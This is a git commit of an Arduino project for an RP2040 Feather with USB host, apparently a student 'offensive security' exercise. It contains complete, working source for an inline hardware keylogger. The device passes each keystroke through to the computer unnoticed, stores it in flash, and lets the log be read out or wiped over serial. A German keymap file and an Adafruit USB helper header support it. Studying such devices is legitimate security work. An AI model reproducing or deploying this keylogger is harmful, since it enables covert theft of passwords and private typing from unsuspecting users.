first commit

This commit is contained in:
David H
2026-05-30 16:51:52 +02:00
commit e0d0540b1d
4 changed files with 551 additions and 0 deletions
View File
+143
View File
@@ -0,0 +1,143 @@
/* This file contains a Keymap for German Layout and yep i did it mostly by hand bcs ai could just not do it*/
// Missing Key may be adding in future
// #'
// <>
// STRG
// FN
// MENU
const char* keycodeToAscii(uint8_t keycode, bool shift, bool altGr) {
if (altGr) {
switch (keycode) {
case 0x14: return "@";
case 0x1E: return "¹";
case 0x1F: return "²";
case 0x20: return "³";
case 0x21: return "¼";
case 0x22: return "½";
case 0x23: return "¬";
case 0x24: return "{";
case 0x25: return "[";
case 0x26: return "]";
case 0x27: return "}";
case 0x2D: return "\\";
case 0x2E: return "~";
case 0x2F: return "[";
case 0x30: return "~";
case 0x31: return "|";
case 0x35: return "|";
case 0x08: return "";
default: break;
}
}
switch (keycode) {
case 0x04: return shift ? "A" : "a";
case 0x05: return shift ? "B" : "b";
case 0x06: return shift ? "C" : "c";
case 0x07: return shift ? "D" : "d";
case 0x08: return shift ? "E" : "e";
case 0x09: return shift ? "F" : "f";
case 0x0A: return shift ? "G" : "g";
case 0x0B: return shift ? "H" : "h";
case 0x0C: return shift ? "I" : "i";
case 0x0D: return shift ? "J" : "j";
case 0x0E: return shift ? "K" : "k";
case 0x0F: return shift ? "L" : "l";
case 0x10: return shift ? "M" : "m";
case 0x11: return shift ? "N" : "n";
case 0x12: return shift ? "O" : "o";
case 0x13: return shift ? "P" : "p";
case 0x14: return shift ? "Q" : "q";
case 0x15: return shift ? "R" : "r";
case 0x16: return shift ? "S" : "s";
case 0x17: return shift ? "T" : "t";
case 0x18: return shift ? "U" : "u";
case 0x19: return shift ? "V" : "v";
case 0x1A: return shift ? "W" : "w";
case 0x1B: return shift ? "X" : "x";
case 0x1C: return shift ? "Z" : "z";
case 0x1D: return shift ? "Y" : "y";
case 0x1E: return shift ? "!" : "1";
case 0x1F: return shift ? "\"" : "2";
case 0x20: return shift ? "§" : "3";
case 0x21: return shift ? "$" : "4";
case 0x22: return shift ? "%" : "5";
case 0x23: return shift ? "&" : "6";
case 0x24: return shift ? "/" : "7";
case 0x25: return shift ? "(" : "8";
case 0x26: return shift ? ")" : "9";
case 0x27: return shift ? "=" : "0";
case 0x2D: return shift ? "?" : "ß";
case 0x2E: return shift ? "`" : "´";
case 0x2F: return shift ? "Ü" : "ü";
case 0x30: return shift ? "*" : "+";
case 0x31: return shift ? "'" : "#";
case 0x33: return shift ? "Ö" : "ö";
case 0x28: return "[ENTER]";
case 0x29: return "[ESC]";
case 0x2A: return "[BACKSPACE]";
case 0x2B: return "[TAB]";
case 0x2C: return "[SPACE]";
case 0x34: return shift ? "Ä" : "ä";
case 0x35: return shift ? "°" : "^";
case 0x36: return shift ? ";" : ",";
case 0x37: return shift ? ":" : ".";
case 0x38: return shift ? "_" : "-";
case 0x3A: return "[F1]";
case 0x3B: return "[F2]";
case 0x3C: return "[F3]";
case 0x3D: return "[F4]";
case 0x3E: return "[F5]";
case 0x3F: return "[F6]";
case 0x40: return "[F7]";
case 0x41: return "[F8]";
case 0x42: return "[F9]";
case 0x43: return "[F10]";
case 0x44: return "[F11]";
case 0x45: return "[F12]";
case 0x39: return "[CAPS_LOCK]";
case 0x46: return "[DRUCK]";
case 0x47: return "[SCROLL_LOCK]";
case 0x48: return "[PAUSE]";
case 0x49: return "[INSERT]";
case 0x4A: return "[HOME]";
case 0x4B: return "[PAGE_UP]";
case 0x4C: return "[DELETE]";
case 0x4D: return "[END]";
case 0x4E: return "[PAGE_DOWN]";
case 0x4F: return "[RIGHT]";
case 0x50: return "[LEFT]";
case 0x51: return "[DOWN]";
case 0x52: return "[UP]";
case 0x59: return "1";
case 0x5A: return "2";
case 0x5B: return "3";
case 0x5C: return "4";
case 0x5D: return "5";
case 0x5E: return "6";
case 0x5F: return "7";
case 0x60: return "8";
case 0x61: return "9";
case 0x62: return "0";
case 0x63: return ",";
case 0x57: return "*";
case 0x58: return "+";
case 0x65: return "-";
case 0x66: return "/";
case 0x67: return "[ENTER]";
default: return nullptr;
}
}
+309
View File
@@ -0,0 +1,309 @@
/******************************************************************************
* Project : Offensive Sicherheit - Keylogger
* File : <keylogger.ino>
*
* Description :
* ---------------------------------------------------------------------------
* This Project contains an implementation for a Adafruit RP2040 Feather with USB HOST to turn it into a Keylogger.
*
* Author : David Heunisch
* Created : 18.05.26
* Last Updated : 30.05.26
* Version : <1.0.0>
*
* Dependencies :
* - usbh_helper.h
* - usbh_helper.h
* - LittleFS.h
* - string.h
*
* Usage :
* ---------------------------------------------------------------------------
* Using Arduino IDE v2 it can be uploaded to an RP2040 with USB Host. Once installed MitM the Keyboard and start typing.
* The serial Commands: DUMP / CLEAR can be used to read and clear the file!
*
* Notes :
* ---------------------------------------------------------------------------
* Important Settings for Arduino IDE
* - Board Manager: Raspberry Pi Pico/PR2040/RP2350 by Earle F. Philhower, III (5.6.0)
* - Libs: Adafruit Neopixel (1.15.5) | Adafruit SPI Flash (5.1.1) | Adafruit TinyUSB Library (3.7.7) | MIDI Library (3.7.7) | PICO PIO USB (0.7.2) | SdFAT - Adafruit Fork (2.3.103)
* - Port: js do it right
* - CPU Speed: 120Hz / 240Hz or some other by 12 div number
* - Flash Size: give Little FS some space i did 3MB
* - USB Stack: Adafruit TinyUSB
*
* License :
* ---------------------------------------------------------------------------
* MIT License
*
* Copyright (c) 2026 David Heunisch
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
******************************************************************************/
#include "usbh_helper.h"
#include "key_map.h"
#include <LittleFS.h>
#include <string.h>
#if defined(ARDUINO_ARCH_RP2040)
#include "pico/stdlib.h"
#endif
uint8_t const desc_hid_report[] = {
TUD_HID_REPORT_DESC_KEYBOARD()
};
Adafruit_USBD_HID usb_hid(desc_hid_report, sizeof(desc_hid_report),
HID_ITF_PROTOCOL_KEYBOARD, 2, false);
bool fs_ok = false;
char serial_buf[32];
uint8_t serial_pos = 0;
// RAM buffer for keystrokes before writing to flash
char key_buffer[256];
uint16_t key_buf_pos = 0;
const uint16_t BUFFER_SIZE = 256;
uint8_t prev_keys[6] = {0, 0, 0, 0, 0, 0};
void flushBufferToFile() {
if (!fs_ok || key_buf_pos == 0) return;
File f = LittleFS.open("/keylog.txt", "a");
if (!f) {
key_buf_pos = 0;
return;
}
f.write((uint8_t*)key_buffer, key_buf_pos);
f.close();
key_buf_pos = 0;
}
void appendLog(const char* s) {
if (!fs_ok) return;
// Add key to RAM buffer
while (key_buf_pos < BUFFER_SIZE - 1) {
key_buffer[key_buf_pos++] = *s++;
if (*s == 0) break; // end of string
}
// Flush if buffer is nearly full
if (key_buf_pos >= BUFFER_SIZE - 10) {
flushBufferToFile();
}
}
void dumpLog() {
flushBufferToFile(); // Make sure buffer is written first
if (!fs_ok) {
Serial.println("LittleFS not mounted");
return;
}
File f = LittleFS.open("/keylog.txt", "r");
if (!f) {
Serial.println("Cannot open /keylog.txt");
return;
}
Serial.println("=== Key Log Start ===");
while (f.available()) {
Serial.write(f.read());
}
Serial.println();
Serial.println("=== End of Log ===");
f.close();
}
void handleSerial() {
while (Serial.available()) {
char c = Serial.read();
if (c == '\r' || c == '\n') {
serial_buf[serial_pos] = 0;
if (serial_pos > 0) {
if (!strcmp(serial_buf, "DUMP")) {
dumpLog();
} else if (!strcmp(serial_buf, "CLEAR")) {
flushBufferToFile();
if (fs_ok) {
LittleFS.remove("/keylog.txt");
File f = LittleFS.open("/keylog.txt", "w");
if (f) {
f.println("Key log started");
f.close();
}
Serial.println("Log cleared");
}
} else {
Serial.println("Commands: DUMP, CLEAR");
}
}
serial_pos = 0;
} else if (serial_pos < sizeof(serial_buf) - 1) {
serial_buf[serial_pos++] = c;
}
}
}
void forwardAndLog(hid_keyboard_report_t const* rpt) {
bool shift = (rpt->modifier & (KEYBOARD_MODIFIER_LEFTSHIFT | KEYBOARD_MODIFIER_RIGHTSHIFT)) != 0;
bool altGr = (rpt->modifier & KEYBOARD_MODIFIER_RIGHTALT) != 0;
for (uint8_t i = 0; i < 6; i++) {
uint8_t kc = rpt->keycode[i];
if (!kc) continue;
bool already_pressed = false;
for (uint8_t j = 0; j < 6; j++) {
if (prev_keys[j] == kc) {
already_pressed = true;
break;
}
}
if (already_pressed) continue;
const char* s = keycodeToAscii(kc, shift, altGr);
if (s) {
/*Debug Stuff*/
// Serial.print("Key: ");
// Serial.print(s);
// Serial.print(" (0x");
// if (kc < 0x10) Serial.print('0');
// Serial.print(kc, HEX);
// Serial.println(")");
appendLog(s);
}
}
for (uint8_t i = 0; i < 6; i++) {
prev_keys[i] = rpt->keycode[i];
}
while (!usb_hid.ready()) {
yield();
}
usb_hid.sendReport(0, rpt, sizeof(hid_keyboard_report_t));
}
void setup() {
Serial.begin(115200);
delay(200);
memset(prev_keys, 0, 6);
memset(key_buffer, 0, BUFFER_SIZE);
fs_ok = LittleFS.begin();
if (!fs_ok) {
Serial.println("LittleFS mount failed");
} else {
if (!LittleFS.exists("/keylog.txt")) {
File f = LittleFS.open("/keylog.txt", "w");
if (f) {
f.println("--- START OF LOG ---");
f.close();
}
}
Serial.println("LittleFS mounted");
}
usb_hid.begin();
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
USBHost.begin(1);
#endif
Serial.println("Ready. Type DUMP or CLEAR in Serial Monitor.");
}
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
void loop() {
USBHost.task();
handleSerial();
// Flush buffer every 2 seconds if not full
static unsigned long last_flush = 0;
if (millis() - last_flush > 2000) {
flushBufferToFile();
last_flush = millis();
}
}
#elif defined(ARDUINO_ARCH_RP2040)
void loop() {
handleSerial();
static unsigned long last_flush = 0;
if (millis() - last_flush > 2000) {
flushBufferToFile();
last_flush = millis();
}
}
void setup1() {
rp2040_configure_pio_usb();
USBHost.begin(1);
}
void loop1() {
USBHost.task();
}
#endif
extern "C" {
void tuh_hid_mount_cb(uint8_t dev_addr, uint8_t instance,
uint8_t const *desc_report, uint16_t desc_len) {
(void)desc_report;
(void)desc_len;
uint16_t vid, pid;
tuh_vid_pid_get(dev_addr, &vid, &pid);
Serial.printf("HID device address = %d, instance = %d mounted\r\n", dev_addr, instance);
Serial.printf("VID = %04x, PID = %04x\r\n", vid, pid);
if (tuh_hid_interface_protocol(dev_addr, instance) == HID_ITF_PROTOCOL_KEYBOARD) {
Serial.println("HID Keyboard");
if (!tuh_hid_receive_report(dev_addr, instance)) {
Serial.println("Error: cannot request first report");
}
}
}
void tuh_hid_umount_cb(uint8_t dev_addr, uint8_t instance) {
Serial.printf("HID device address = %d, instance = %d unmounted\r\n", dev_addr, instance);
}
void tuh_hid_report_received_cb(uint8_t dev_addr, uint8_t instance,
uint8_t const *report, uint16_t len) {
if (len == sizeof(hid_keyboard_report_t)) {
forwardAndLog((hid_keyboard_report_t const*)report);
} else {
Serial.printf("report len = %u, expected %u\r\n", len, (unsigned)sizeof(hid_keyboard_report_t));
}
if (!tuh_hid_receive_report(dev_addr, instance)) {
Serial.println("Error: cannot request next report");
}
}
}
+99
View File
@@ -0,0 +1,99 @@
/*********************************************************************
Adafruit invests time and resources providing this open source code,
please support Adafruit and open-source hardware by purchasing
products from Adafruit!
MIT license, check LICENSE for more information
Copyright (c) 2019 Ha Thach for Adafruit Industries
All text above, and the splash screen below must be included in
any redistribution
*********************************************************************/
#ifndef USBH_HELPER_H
#define USBH_HELPER_H
#ifdef ARDUINO_ARCH_RP2040
// pio-usb is required for rp2040 host
#include "pio_usb.h"
// Pin D+ for host, D- = D+ + 1
#ifndef PIN_USB_HOST_DP
#define PIN_USB_HOST_DP 16
#endif
// Pin for enabling Host VBUS. comment out if not used
#ifndef PIN_5V_EN
#define PIN_5V_EN 18
#endif
#ifndef PIN_5V_EN_STATE
#define PIN_5V_EN_STATE 1
#endif
#endif // ARDUINO_ARCH_RP2040
#include "Adafruit_TinyUSB.h"
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
// USB Host using MAX3421E: SPI, CS, INT
#include "SPI.h"
#if defined(ARDUINO_METRO_ESP32S2)
Adafruit_USBH_Host USBHost(&SPI, 15, 14);
#elif defined(ARDUINO_ADAFRUIT_FEATHER_ESP32_V2)
Adafruit_USBH_Host USBHost(&SPI, 33, 15);
#else
// Default CS and INT are pin 10, 9
Adafruit_USBH_Host USBHost(&SPI, 10, 9);
#endif
#else
// Native USB Host such as rp2040
Adafruit_USBH_Host USBHost;
#endif
//--------------------------------------------------------------------+
// Helper Functions
//--------------------------------------------------------------------+
#ifdef ARDUINO_ARCH_RP2040
static void rp2040_configure_pio_usb(void) {
//while ( !Serial ) delay(10); // wait for native usb
Serial.println("Core1 setup to run TinyUSB host with pio-usb");
// Check for CPU frequency, must be multiple of 12 Mhz for bit-banging USB
uint32_t cpu_hz = clock_get_hz(clk_sys);
if (cpu_hz % 12000000UL) {
while (!Serial) {
delay(10); // wait for native usb
}
Serial.printf("Error: CPU Clock = %lu, PIO USB require CPU clock must be multiple of 12 Mhz\r\n", cpu_hz);
Serial.printf("Change your CPU Clock to 12*n Mhz in Menu->CPU Speed \r\n");
while (1) {
delay(1);
}
}
#ifdef PIN_5V_EN
pinMode(PIN_5V_EN, OUTPUT);
digitalWrite(PIN_5V_EN, PIN_5V_EN_STATE);
#endif
pio_usb_configuration_t pio_cfg = PIO_USB_DEFAULT_CONFIG;
pio_cfg.pin_dp = PIN_USB_HOST_DP;
#if defined(ARDUINO_RASPBERRY_PI_PICO_W)
// For pico-w, PIO is also used to communicate with cyw43
// Therefore we need to alternate the pio-usb configuration
// details https://github.com/sekigon-gonnoc/Pico-PIO-USB/issues/46
pio_cfg.sm_tx = 3;
pio_cfg.sm_rx = 2;
pio_cfg.sm_eop = 3;
pio_cfg.pio_rx_num = 0;
pio_cfg.pio_tx_num = 1;
pio_cfg.tx_ch = 9;
#endif
USBHost.configure_pio_usb(1, &pio_cfg);
}
#endif
#endif